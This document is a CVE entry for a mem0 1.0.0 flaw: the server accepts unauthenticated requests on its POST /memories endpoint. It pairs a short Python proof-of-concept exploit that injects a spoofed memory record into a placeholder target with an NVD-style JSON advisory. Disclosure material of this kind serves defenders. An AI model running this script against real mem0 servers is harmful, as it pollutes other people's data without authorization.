CVE-2026-31245

import requests # Target URL # Replace with the actual address of the vulnerable mem0 server target_url = "http://target-ip:port/memories" # Malicious payload to be injected into the database malicious_payload = { "text": "This is a malicious memory entry injected by CVE-2026-31245 PoC.", "user_id": "attacker_controlled_id", "metadata": { "is_malicious": True, "source": "exploit" } } try: # Send unauthenticated POST request to the vulnerable endpoint print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, json=malicious_payload, timeout=10) # Check if the injection was successful (HTTP 200 or 201 usually indicates success) if response.status_code in [200, 201]: print("[+] Exploit successful! Data injected.") print("[+] Server response:", response.text) else: print(f"[-] Exploit failed or unexpected status code: {response.status_code}") print("[-] Server response:", response.text) except requests.exceptions.RequestException as e: print(f"[-] An error occurred during the request: {e}")

{"cve": {"id": "CVE-2026-31245", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:16:53.010", "lastModified": "2026-05-14T18:39:12.690", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The mem0 1.0.0 server lacks authentication and authorization controls for its memory creation API endpoint (POST /memories). The endpoint allows unauthenticated users to submit arbitrary memory records without verifying their identity or permissions. A remote attacker can exploit this by sending unauthenticated POST requests to create malicious or spoofed memory entries in the database, leading to unauthorized data injection and potential data pollution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mem0:mem0:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "CBD5639B-9888-4EF9-8E41-CC05DBA4720E"}]}]}], "references": [{"url": "https://github.com/mem0ai/mem0", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.notion.so/CVE-2026-31245-35d1e1393188810aab57ff9b49146b05", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory"]}]}}